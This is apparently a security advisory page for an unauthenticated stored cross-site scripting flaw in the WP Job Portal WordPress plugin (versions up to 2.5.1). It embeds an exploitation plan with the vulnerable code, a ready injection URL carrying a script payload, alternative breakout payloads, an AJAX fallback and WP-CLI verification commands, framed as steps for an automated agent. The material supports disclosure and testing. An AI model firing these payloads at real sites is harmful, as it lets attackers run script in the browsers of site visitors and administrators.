WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.1 - Unauthenticated Stored Cross-Site Scripting
Description
The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42685 (WP Job Portal) ## 1. Vulnerability Summary The **WP Job Portal** plugin (<= 2.5.1) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `WPJOBPORTALjobModel::setListStyleSession` function located in `mo…
Show full research plan
Exploitation Research Plan: CVE-2026-42685 (WP Job Portal)
1. Vulnerability Summary
The WP Job Portal plugin (<= 2.5.1) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the WPJOBPORTALjobModel::setListStyleSession function located in modules/job/model.php.
This function is intended to save a user's preference for the job listing layout (e.g., "grid" vs "list"). However, it uses the global WordPress update_option() function instead of a session-based or user-meta storage. This allows any unauthenticated user to overwrite a site-wide configuration option. Furthermore, the input parameter styleid is retrieved via WPJOBPORTALrequest::getVar() and passed to update_option() without any sanitization or escaping, and the resulting value is rendered unescaped on the job listing page.
2. Attack Vector Analysis
- Endpoint: Frontend routing (typically handled via
initortemplate_redirecthooks). - Hook/Action: The plugin routes requests based on the URL parameters
wpjobportalme(Module) andwpjobportallt(Layout/Task). - Vulnerable Parameters:
wpjobportalme: Must be set tojob.wpjobportallt: Must be set tosetListStyleSession.styleid: The malicious XSS payload.
- Authentication: None required (Unauthenticated).
- Preconditions: The
[wpjobportal_job]shortcode must be present on a page (this is where the sink is triggered).
3. Code Flow
- Entry Point: A request is made to
index.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=<payload>. - Routing: The plugin's core dispatcher identifies the module
joband the tasksetListStyleSession. - Sink (Storage):
modules/job/model.php->WPJOBPORTALjobModel::setListStyleSession():function setListStyleSession(){ $wpjobportal_listingstyle = WPJOBPORTALrequest::getVar('styleid'); // [1] User input if(wpjobportal::$wpjobportal_theme_chk == 1){ update_option( 'jsjb_jm_listing_style', $wpjobportal_listingstyle ); // [2] Global storage } else { update_option( 'jsjb_jh_listing_style', $wpjobportal_listingstyle ); // [2] Global storage } return $wpjobportal_listingstyle; } - Sink (Execution): When any user visits a page containing the
[wpjobportal_job]shortcode, the plugin retrieves the optionjsjb_jh_listing_style(orjsjb_jm_listing_style) and echoes it into the HTML class attribute of the job container without escaping, allowing for attribute breakout and script execution.
4. Nonce Acquisition Strategy
Based on the analysis of modules/job/model.php, the setListStyleSession function does not implement any nonce verification. This is a common oversight for frontend layout-switching features.
- Nonce Action: N/A.
- Bypass: Direct request to the endpoint is possible without a nonce.
5. Exploitation Strategy
The goal is to inject a payload into the global jsjb_jh_listing_style option, which will then execute in the browser of any user (including the admin) visiting the job board.
Step 1: Inject Payload
Send a request to the site to update the global option.
- Tool:
http_request - Method:
GET(orPOST) - URL:
http://TARGET_URL/index.php?wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=list-view"><script>alert(document.domain)</script> - Note: The payload starts with
list-view">to break out of the HTML class attribute where it is typically reflected.
Step 2: Trigger Execution
Navigate to the page where the jobs are listed.
- Tool:
browser_navigate - URL:
http://TARGET_URL/jobs/(or wherever[wpjobportal_job]is placed).
6. Test Data Setup
- Create Job Page:
wp post create --post_type=page --post_title="Job Board" --post_content="[wpjobportal_job]" --post_status="publish" - Ensure Option Path: By default, the plugin will update
jsjb_jh_listing_style. Verify the theme check:wp option get template # If result is not 'job-portal-theme', the sink will be 'jsjb_jh_listing_style' - Create a Job: (Optional, but ensures the job listing loop executes)
# Use the plugin's internal table to insert a dummy job if the shortcode returns empty wp db query "INSERT INTO wp_wj_portal_jobs (title, status, startpublishing, stoppublishing) VALUES ('Security Researcher', 1, '2020-01-01', '2030-01-01')"
7. Expected Results
- The HTTP request to
setListStyleSessionshould return a 200 OK or a redirect. - The site-wide option
jsjb_jh_listing_stylewill now contain the malicious script. - When visiting the "Job Board" page, the browser will render the following (or similar) HTML:
<div class="job-listing-container list-view"><script>alert(document.domain)</script>"> ... </div> - An alert box showing the document domain will appear.
8. Verification Steps
After performing the exploit via http_request, verify the storage using WP-CLI:
wp option get jsjb_jh_listing_style
# Expected output: list-view"><script>alert(document.domain)</script>
9. Alternative Approaches
If the styleid is reflected inside a JavaScript block or a different HTML attribute, adjust the payload:
- Attribute Escape:
list' onmouseover='alert(1)' data-foo=' - JSON Breakout:
"];alert(1);//(if localized viawp_localize_script)
If the direct index.php request fails to route, attempt via the AJAX endpoint:
- URL:
/wp-admin/admin-ajax.php - Method:
POST - Body:
action=wpjobportal_ajax&wpjobportalme=job&wpjobportallt=setListStyleSession&styleid=...(Theactionname may vary based on the plugin's registration inwp-job-portal.php).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.